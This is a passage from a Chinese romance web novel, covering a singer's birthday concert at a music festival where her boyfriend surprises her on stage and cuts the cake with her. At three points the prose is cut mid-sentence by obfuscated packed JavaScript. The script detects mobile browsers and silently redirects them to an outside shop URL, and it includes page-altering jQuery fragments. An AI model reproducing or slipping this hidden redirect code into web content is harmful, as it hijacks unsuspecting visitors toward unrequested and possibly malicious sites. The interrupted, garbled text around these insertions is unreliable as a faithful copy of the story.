她是黑夜中的蝴蝶,在一下一下的鼓点中尽情飞舞着。 酒红色的短发随着她的动作飘荡着,她的耳朵上、手腕上都戴着蝴蝶首饰。 谢劲舟一眼便认出来了,是他送给她的那套,跟她一身黑衣服相得益彰。 她打鼓时,每次落下的鼓点,都像敲在他的心上。 仿佛看到了六年前,第一次在霓虹酒吧打鼓的驰路,彼时,她褪去乖巧的伪装,露出本来面目,那么酷飒地敲着鼓,好像舞台都是她的。 罗子昂搞不懂,明明可以在第一排那么好的位置观看,为什么谢劲舟要跑到第二排,为什么不去后台去找驰路,还不让他告诉驰路他来了。 搞这么神秘,是要玩什么花样? “清白乐队”的演出,掀起了全天的高潮,现场气氛特别嗨,大家跟着一起唱、一起跳、一起挥舞荧光棒。 有几次,谢劲舟看到驰路往舞台下方看,似乎在寻找什么,连忙矮下身子,躲在罗子昂身后。 等“清白乐队”的演出结束时,罗子昂首当其冲喊着“加唱加唱”。 他想看他家清清再弹键盘,边弹键盘边演唱的清清真是帅炸了! 其他人也都纷纷喊“加唱”,“清白乐队”四人站到舞台上,跟观众们鞠躬,程佑白抬手示意大家安静:“谢谢大家的厚爱,抱歉,这次不能加唱了,因为七点到八点有周柏屿周老师的演出。再次感谢每一个到场的‘青白团子们’,爱你们!” “青白团子永远爱你们!”“爱你,白白!”“我爱你,清清!”“我爱你,程佑白!”…… 爱意炸响,罗子昂爱意,在喧嚣的人声里,一遍遍地回响。 但他的爱意,被其他人的声音淹没,当事人听不见。 许婉没有像之前每次看程佑白的演出一样,奋力呼喊。 她还是那么用力地挥舞着荧光棒,那么认真地看着舞台上耀眼的男生。 只是,好像要跟他说再见了。 他耀眼如星辰,照亮了她枯燥的青春,也照亮了她的小山河。 她追逐了他一年又一年,可惜,他的世界从来没有她。 那些她无数次看向他的眼神、无数次只为他挥舞的荧光棒、无数次喊出的被淹没在人潮中的那句小声到几乎连自己都听不见的“程佑白,我喜欢你!”,都落在时光的隧道里,没有一点回音。 暗恋是苦涩的,是她每天的“早安、午安、晚安”,得到的不是秒回,而是一个小时、两个小时,甚至二十四小时后回复的那句“晚安、午安、早安”。 她开始有些分辨不清,自己喜欢的是现在的程佑白,还是十七岁那年喜欢的少年。 都说暗恋没结果,要跟喜欢的人岁岁年年,就要勇敢一点。 可是,踏出那一步就会有结果吗?还是会让裹上滤镜的暗恋破碎? 寒冬冷冽,年少时的暗恋,比天光还远,却因为只看得见却得不到,而有了深浅。 故事总不会圆满,暗恋里,你也不总是主角,不曾抵达的喜欢,也许只能消散在风里。 他听不见,你就不会得到拒绝。 没有得到拒绝的暗恋,就好像在那长长久久的时光里,真实地跟他轰轰烈烈地爱过一场。 …… 周柏屿演唱结束后,驰路的演出压轴,这是驰路的首秀,现场来了全国各地的“路灯”,甚至还有专程从国外飞回来的“路灯”。 罗子昂一扭头看到身边的哥们换了人,是一直躲在他身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560855|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的谢劲舟。 “舟爷,你这是想给驰妹惊喜吧?”罗子昂算是想明白了。 “嗯。”她的首次音乐会,他怎么能缺席,何况,今天还是她的生日。 驰路的出场引起了现场众人的尖叫声,响彻夜空。 她站在舞台中央,穿着一身紫色斜肩连衣裙,露出好看的锁骨,左侧长,右侧短,露出纤长的腿,有一朵洋桔梗坠在裙摆处,还有一朵洋桔梗坠在胸前,后背是两瓣盛开的花瓣。 一改打鼓时的酒红色短发,换成了一头浅棕色长卷发,头顶戴着洋桔梗、尤加利叶做成的花冠。 一束光打下来,驰路从布置成花的海洋的背景里走出来,宛若洋桔梗精灵,甜美优雅。 《星河万里》的旋律响起,温婉的曲调如流水般潺潺流出。 驰路抬头看向舞台下方,一眼看到了站在第一排的谢劲舟,心下一怔,差点忘记跟上旋律。 一首甜蜜的歌,被她唱出了爱情中恋爱男女的百般甜。 从她看到谢劲舟的那一刻,她的心间便开出了花,他竟然悄悄地来音乐会现场看她。 下半场,驰路换了一条黑色及膝蕾丝珠片纱裙,后背戴着一对蓝黑色蝴蝶翅膀,踩着一双镶钻的蓝色高跟鞋,宛若一只翩跹的燕尾蝶。 谢劲舟看着舞台上唱歌的驰路,她整个人都是闪着光的,像极了“蝴蝶公主”。 唱《十八岁的幻想》时,驰路首次跟观众有互动。 驰路边唱着边走下舞台。 启程去往栾花巷 一个人去流浪 路途荒凉前途迷茫 一往无前不退场 一个人要坚强 掩饰慌张期待太阳 十八岁的幻想 是你给我翅膀 带我飞翔 …… 驰路走下舞台,跟粉丝击掌,“路灯”们纷纷把胳膊扬起,都希望自己是那个幸运儿。 她正对着的人便是谢劲舟,他也高高举着手,她笑着第一个跟他击掌,两人的视线隔空相撞,如两团炽热的火焰缠绕。 在人声鼎沸中,谢劲舟用唇语跟她说:“驰宝,我爱你!” 驰路接受到他的信号,食指在他掌心轻轻一挠,也用唇语回应:“舟哥,我也爱你。” 大屏幕的投影上投出两人的这一幕,但谁都没注意他们在说什么。 随后又跟其他“路灯”们击掌,场面一度很嗨。 快乐时光总是短暂,很快到了九点,最后一首歌唱完,驰路鞠躬谢幕,想要离开时,却听到场下响起整齐划一的声音,不是要她加场,而是说:“驰老师,生日快乐!永远十八岁!” 舞台下方的荧光棒挥舞着,同时,每个人手中都举着手机,打开了手机上的手电筒。 远远望去,黑夜中,如闪烁着无数颗星星。 主持人来到舞台前,跟驰路说:“驰老师,且慢,今天是您的生日,您的路灯们为您准备了生日礼物。” 每年的生日会路灯们都会到场,也会给她送上生日礼物和生日祝福,但今年的不同,她的后援会会长跟她说,今晚十点,在酒店的宴会厅给她举办生日宴会,这是提前了? 驰路一转头,看到自己身后的布景已经变了样,不再是黑色幕布,而是紫色幕布,上面装饰着生日祝福的饰品。 这时,有人推着生日蛋糕走上来,随之响起的是她唱的歌《燕尾蝶的秘密》的旋律,还有舞台后面喷洒出来是玫瑰花瓣。 生日蛋糕推上来时,驰路有些震惊,这个生日蛋糕竟然跟六年前谢劲舟送她的那个一样,不一样的是,六年前是单层的,现在是六层的。 这是一块通体蓝白色的蛋糕,最上面是白底,白底上有一只翩翩起舞的蝴蝶。 除了有英文的生日快乐字样,还有一行字:驰老师,你是我的神,是我的信仰,永不陨落。 看到这行字时,她惊得几乎要叫出声,但毕竟是演技派,只是微微睁大了眼睛,克制住了内心的讶异。 这句话是有一天,她发现了他做的一本相册,指着背后的那行字说:“谢大词人,什么时候转行当诗人了,要不,再写一句给我看看。” 这人说得一本正经:“阿驰,你是我的神,是我的信仰,永不陨落。” 难道这蛋糕是谢劲舟去定制的? 139. 去音乐节看你(三) 不过怎么可能,谢劲舟不是忙于华扬艺术馆的设计方案,怎么有时间去定制?就算有时间去定制,又怎么会混进自己的后援会,他不会做这种事。 如果说是巧合,驰路显然不信。 驰路抬头看舞台下方,目光与谢劲舟的直直对上,她看到了他眼中的笑意,看到了他抬起右手,指了指自己,她瞬间明白了,这是谢劲舟为她准备的生日蛋糕。 等回去,她要好好问问,他是怎么混进自己后援会的。 驰路插上了一根蜡烛,区别于往年插的三根蜡烛。 背景音乐换成生日歌,下面的“路灯”们也纷纷跟着唱,谢劲舟的声音混在人声中,驰路却仿佛听见,穿越人声,抵达耳畔。 驰路闭上眼睛许愿,不用再许三个愿望,只想许一个愿望。 她的脸庞被单支蜡烛映出好看的昏黄,巴掌大的脸一半陷在阴影里,越发显得她的脸庞小而精致。 许完愿,粉丝后援会的会长给她送了一大束好看的洋桔梗,她抱着洋桔梗站在舞台中央,看着舞台下方乌泱泱的人群,心里有说不出的感动,向台下的观众们鞠躬说“谢谢”。 主持人让她看大屏幕,是“路灯”们剪辑的生日祝福视频,从她出道饰演的小角色到她主演的主角,每个角色都一一闪现。 她一路走来,没什么运气,全凭努力,才走到今天。 放完她的个人作品集,后面放的是“路灯”代表们给她送的祝福,有出镜的,还有只露声音的,每个祝福都充满诚意,女生多,男生少,最后压轴的竟然是一个男生。 第一个视频里,草地摆了一块酒红色蝴蝶蛋糕,配音:“驰老师,19岁生日快乐!不要活在别人的言语里,要活在你热爱的万事万物里。” 第二个视频里,草地摆了一块橙色蝴蝶蛋糕,配音:“驰老师,20岁生日快乐!祝你走的路繁花似锦,看的天空星辰漫天,祝你成为耀眼的星星。” 第三个视频里,草地摆了一块黄色蝴蝶蛋糕,配音:“驰老师,21岁生日快乐!希望你勇敢,敢闯难关,敢踏险滩,敢破万难。” 第四个视频里,草地摆了一块绿色蝴蝶蛋糕,配音:“驰老师,22岁生日快乐!祝你站在哪里,哪里就是风生水起。” 第五个视频里,草地摆了一块青色蝴蝶蛋糕,配音:“驰老师,23岁生日快乐!愿你做一只自由无畏的蝴蝶,不用永远闪耀,但要永远年少。” 第六个视频里,桌上摆了一块蓝色蝴蝶蛋糕,配音: “驰老师,24岁生日快乐!谢谢你演绎了那么多优秀的角色,不管以后你是主角还是配角,都希望你可以做你人生的主角;不论你是在高峰还是在低谷,我们都会陪着你。” “如果你的眼睛下雨了,我们会为你打伞;如果你的心冰封了,我们会为你取暖;如果你的世界变成黑夜,我们会为你点灯。” “长风不歇,喜欢不止。我们会做你凛冬长夜里的那枚月亮,于高山之巅,陪你一起承受命运的起伏和浩荡。” “在我们这里,你永远可以不用长大,我们永远守护你!” 声音低沉,富有磁性,仿佛拉响的小提琴。 驰路不用仔细听,也听出来了,是谢劲舟的声音。 第一个至第五个视频上的生日祝福,都是谢劲舟每年发到她邮箱里的,难道在她生日当天,他每年都一个人偷偷地买来蛋糕给她过生日? 六年前,他把她带到沙漠,跟她表白,带她看日落,送她生日蛋糕,跟她说:“阿驰,生日快乐,你以后的每次生日,我都不会缺席!” 他从来都没有食言,她每年的生日,他一次都没有缺席! 六年,他给她买了六块生日蛋糕,送给她六次生日祝福。 她仿佛看到了,那个张狂不羁的少年走进一家蛋糕店,拎回一盒定制的蝴蝶蛋糕,独自走在夜晚的长街,去往某个草地,把蛋糕放上去,独自给她过生日。 从19岁到24岁,他每年如此,一直在帮她过生日。 生日的主人不在,他很孤独吧。 孤独的他,却每年都给她送上美好的生日祝福。 驰路的心间感动四溢,鼻尖泛酸,原本蓄在眼眶里的泪水,终于忍不住落下。 眼前人山人海,耳边人声鼎沸,她没有走红毯,也没有走花路,她只是站在这里,看着爱她的“路灯”们,还有谢劲舟,好像得到了一整个宇宙。 …… “驰老师,我们会选一个幸运‘路灯’,来跟你一起切蛋糕。”主持人说,“待会儿大屏幕会滚动起来,你喊停,屏幕上定格的‘路灯’,就是我们今晚的幸运儿。” “好。” “路灯”们纷纷沸腾起来,高举起荧光棒,都希望自己是那个幸运儿。 大屏幕滚动着,为了确保公平公正,驰路没有看大屏幕,而是看着舞台下方,眼睛直直地看向谢劲舟,两人四目交缠。 她希望在这个特殊的日子里,他能跟自己一起切蛋糕,但又希望那个人不是他,因为她跟他在网上已经有绯闻了,如果是他,不知道吃瓜博主们会怎么报道。 驰路不知大屏幕滚动了多少次,也不知道“路灯”们呐喊了多少回,她只知道自己的心怦怦跳得厉害,仿佛第一次被谢劲舟强吻,在那个闭塞的储物间。 紧张感深深攫住她的心脏,她比“路灯”们还紧张。 “停!”驰路闭上眼睛,几乎咬牙喊。 驰路听到此起彼伏的“啊啊啊~”声,比刚才的呐喊声还要大。 这是发生了什么?如果那个人不是自己,不应该有叹气声吗? 主持人的声音响起:“好,我们的幸运‘路灯’出来了,请看大屏幕!” 驰路缓缓转头,悄悄地睁开一只眼,惊得又睁开另一只眼。 令她震惊的是,屏幕上的幸运“路灯”竟然是谢劲舟,她几乎要捂住嘴,但克制住了做如此夸张的动作,收回惊讶之色,转头笑着看向谢劲舟:“恭喜这位幸运‘路灯’!” 主持人说:“好,麻烦请这位幸运‘路灯’上台,跟我们的驰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560856|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师一起切蛋糕。” 谢劲舟把手上的荧光棒给一旁的罗子昂,走上舞台。 他走上舞台的每一步,观众们都发出欢呼声和尖叫声,仿佛他走向的不是舞台,而是婚礼殿堂,正在接受众人的祝福。 谢劲舟走到驰路身边,他穿着黑色夹克,里面搭着一件白色T恤,脖子上戴着一条闪着幽蓝光晕的项链,穿着黑色运动裤、白色运动鞋,休闲穿搭,配着他特别的雾霾蓝头发、酷帅的耳挂。 聚光灯下的他,仿佛还是十八岁的少年,充满少年感。 站在驰路身边,是奇妙的绝搭组合。 神仙眷侣,不过如此。 工作人员给驰路递来切蛋糕的刀,驰路看向谢劲舟,跟他的视线结结实实地撞上,看到了他眼中无法掩藏的笑意,仿佛在得意地宣告天下:“看,老子就是那个幸运儿!” 但他的表现却格外礼貌,什么都没有做,只是淡定地看着她。 “什么,你们再大点声。”主持人侧耳倾听台下观众们的呼喊声,“哦,你们是说,让这位幸运‘路灯’的手,放在驰老师手上,一起切蛋糕,是不是?” 有说“是的”,也有说“不是的”,但“不是的”声音,被“是的”的声音掩盖,最后成了“是的”。 自从《密林深处》开机,站姐会放出一些路透,有一些“路灯”开始磕“驰舟”CP,也有反对磕他们这一对的,觉得驰路跟周柏屿才有CP感,而且在事业上势均力敌。 不过,这次现场,没有任何黑箱操作,谢劲舟竟然成了幸运儿,难道不说明,他跟驰路有缘? 现场浩浩荡荡几千人,几千分之一的概率极低,偏偏那个幸运儿是谢劲舟。 这让站“驰舟”CP的“路灯”们欢呼雀跃。 主持人走到谢劲舟身旁:“请这位‘路灯’介绍下自己。” 谢劲舟从主持人手上接过话筒,落落大方地看台下乌泱泱的人,她们的欢呼声小了不少,他镇定自若道:“大家好,我是谢劲舟,谢劲舟的谢,疾风知劲草的劲,蝴蝶飞过一叶舟的舟。” 话音刚落,呐喊声顿时响起。 “路灯”们纷纷在下面议论: “蝴蝶飞过一叶舟,这是什么梗?蝴蝶是指驰老师吗?舟是指谢劲舟?” “没准是的,好甜好甜,我人快没了!” “‘驰舟’CP,在一起,在一起!!!” …… 主持人传达“路灯”们的心声:“谢先生,为了响应‘路灯’们的号召,请您跟驰老师一起切蛋糕。” 谢劲舟离驰路还有两步的距离,他并没有走上前,而是在原地站了几秒后,才走过去。 走向她的那两步,潇洒又坚定,每一步都生风。 耳边的呐喊声似乎都消失了,他的眼中,只有驰路。 谢劲舟走到驰路身旁,用右手轻轻地放在驰路的手腕上,一看就很疏离。 磕“驰舟”CP的“路灯”们看得很不过瘾,不约而同地起哄:“放手上放手上,两只手!” 140. 去音乐节看你(四) 驰路跟谢劲舟都清楚,要是谢劲舟真按照“路灯”们的想法去做,当晚就要上热搜。 驰路拿着刀的手举得时间有点长,微微泛酸。 这样起哄的场面,她不是没有经历过,但很多时候,主持人总能巧妙地化解。 但这次,这个女主持人显然是个倾观众派,跟谢劲舟说:“谢先生,机会难得,您也听到‘路灯’们的心声了,接下来就看您的了。” 谢劲舟知道,场合越大,他越要克制。 这是他可以守护她的方式。 他没有再进一步的举动,能在这么大的舞台上,跟驰路一起切蛋糕,他已心满意足。 谢劲舟的右手托住她的手腕,帮她承受悬在半空的力度。 而后,在一片欢呼声中,跟她一起切蓝色的蝴蝶生日蛋糕。 终于,不再是他一个人给她过生日了,不再是他对面,没有她,只有自己的影子。 她的蝴蝶,又长一岁了。 他终于可以陪着她,一起长大,一起在人间飞翔。 春山开满花,信徒拥有了翅膀,神明的爱,永远向着信徒生长。 …… 驰路的手被他覆盖着,他们一点点地切下蛋糕,她的力道很小,希望时间可以慢一点、再慢一点。 她能感到几乎是他在切蛋糕,他搭在她手腕上的手,边切着蛋糕边用食指轻轻摩挲着她的手心,羽毛般撩着她。 他微微弯腰,右手环着她,从观众的角度看去,像把她圈在怀里。 驰路什么都听不见了,唯有他的气息,在她周身萦绕。 皂香味,宛若太阳的气息,干燥、热烈。 站在聚光灯下,再不是一个人切蛋糕,再不觉得被繁花簇拥却仍空荡荡。 没有他的世界,心是漂泊的、虚无的,一直找不到停靠的舟。 但现在不同了,他来了,做她可以停靠的小船。 …… 等切完蛋糕,谢劲舟下了舞台,主持人看向驰路:“驰老师,有没有想对‘路灯’们”说的?” 驰路看着挥舞着荧光棒、举着灯牌的“路灯”们说:“很感谢每一位来看我演出的‘路灯’,是你们,让我坚定了一路向前的步伐;是你们,给了我无限的动力和勇气,来面对外界的一切风风雨雨;也是你们,让我一直走到了今天。非常感谢你们这次为我准备的生日惊喜,不管是生日祝福视频,还是准备的蛋糕,都很用心!” 她又看向谢劲舟的方向,能感到他也正看着自己。 她的声音有点哽咽,长长的睫毛轻颤着:“我还要感谢,我生命中最重要的一个人。” 为了避嫌,驰路只看了他一眼,迅速将视线移到人群中,微微侧着身,余光看着人群中的谢劲舟:“谢谢你,打捞起我跌跌撞撞的十八岁。” ——“阿驰,只要我活着,就会对你负责!做你的神明,也做你的救世主!” “谢谢你,告诉我,不要困在过去,要向前看。” ——“驰路,你不能一直困在过去,你要往前看。” “谢谢你,愿意为我驱逐黑暗,一直像太阳般,照亮我。” ——“太阳会不会升起,都没关系,它会长在神明身上,神明会照亮他唯一的信徒。” “驰舟”CP粉简直要炸了,在这样的场合,说这样的话,很难不让人有联想。 喊“谢劲舟!”的声音越大越来。 驰路顺势理所应当地移开目光,看向谢劲舟,对上他的视线:“谢谢你,从来没有食言。谢谢你,为我做过的一切!” 她仿佛看到了十八岁的谢劲舟。 芳町镇的巷子里,初次见面,他拦住了她,肆无忌惮地把她逼到墙角。 芳町三中,他狂妄不羁,把她当陌生人,却将她从器材室拯救,当她的救世主。 静心山,下山途中下了雨,她迷了路,是他为她撑伞,背她上山。 她发烧,他贴心守护,陪了她一整夜。 废弃的烂尾楼,暴雨天,为了她的清白,他为她下跪,磕了二十个响头,一身傲骨和尊严,全被碾碎。 雷雨天,她被人关在综合楼的杂物间,是他到处找她,义无反顾地踹了门,将她救了出来。 她随口说的第三个愿望,他却当了真,带她去沙漠看一场日落,跟她表白。 下着初雪的冬天,他没能去送她,不是食言,而是被人打断了腿,缘由还是她。 …… 露天的广场,呐喊声震耳欲聋,驰路耳边却消了音,似乎听到谢劲舟在说:“驰宝,我没信仰过什么,但从此以后,你就是我的信仰!” * 谁都不知道,在这场盛大的生日宴中,有一道清瘦的身影,在人群中挥舞着荧光棒,心间翻涌着涩意。 他在意的姑娘长大了,成了舞台上光芒万丈的星星。 每年她的生日,他都会在晚上十二点第一个准时给她送上生日祝福,这一送已经送了十年。 她不知道,每年他都会偷偷地参加她后援会帮她组织的生日派对,但会提前离场,只是因为不想给她增添一点绯闻。 她不知道,她每次出演电视剧举办开机仪式时,他都会混在人群里,默默地为她祈祷,祈祷她一切顺利。 她不知道,为了治疗她的抑郁症、梦游症,他制定了多少套治疗方案,最后给她的,是对她身体伤害最小的一种。 …… 如果她是一颗星星,那他便是夜空,用他的方式默默守候。 网上关于她跟谢劲舟的绯闻早就沸沸扬扬地传开,很多人觉得是炒作,是绯闻,但他知道,那是真的。 只是,当他亲眼看到他们在舞台上一起切蛋糕时,心头依然酸涩难当。 在沸腾的人声里,他用唇语说: 阿驰,生日快乐,以后的每一天,都要快乐。 对不起,我不能陪你一起去找属于你的那颗小行星了。 因为,你找到了。 恭喜! * 后来,驰路加唱了三首,结束后,她跟着工作人员来到了休息室,小苏在旁边夸她:“驰姐,今天你唱的歌真是太好听了,在现场听就是不一样,好震撼!” “谢谢。”驰路边说边给谢劲舟发信息:我在休息室了,我让小苏带你过来。 【Z】:不用,我来了。 驰路一抬头,从化妆镜里看到了已经在休息室的谢劲舟,他什么时候进来的? 休息室里只有她跟小苏,见到谢劲舟,驰路连忙站起来,跑过去抱住谢劲舟。 小苏再怎么傻,也看出来两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢劲舟捏了捏她的脸颊:“你是想让别人知道我们的故事吗?” “对外肯定不这么说。”驰路说,“如果有人问起,我就说,庆祝我第一次在音乐节过生日。想知道我许的什么愿望吗?” “肯定不是你每年许的那三个愿望了。”谢劲舟把她拉着坐到化妆镜前,给她披上大衣,帮她脱掉高跟鞋,揉着她的脚。 驰路揉了揉谢劲舟的脑袋,又摸到他脑袋上的那道“X”:“我希望,不管我上天堂,还是下地狱,你都要陪着我。我是不是很自私?” 谢劲舟看着她右脚踝上的酒红色文身,上面的那个“zhou”虽小,却清晰可见,心弦瞬间被扯动。 “阿驰,你不是自私,你是爱我。”谢劲舟抬头看她,眸子里仿佛含着骤亮的天光,“你的愿望,会成真。因为,我会陪着你,不管你上天堂,还是下地狱。” 上天堂,下地狱,都陪着你。 因为有了你,活着才变得有意义。 小蝴蝶,我爱你! 不论明天还在不在,不论未来还会不会到来,我都爱你! 永生永世,都爱!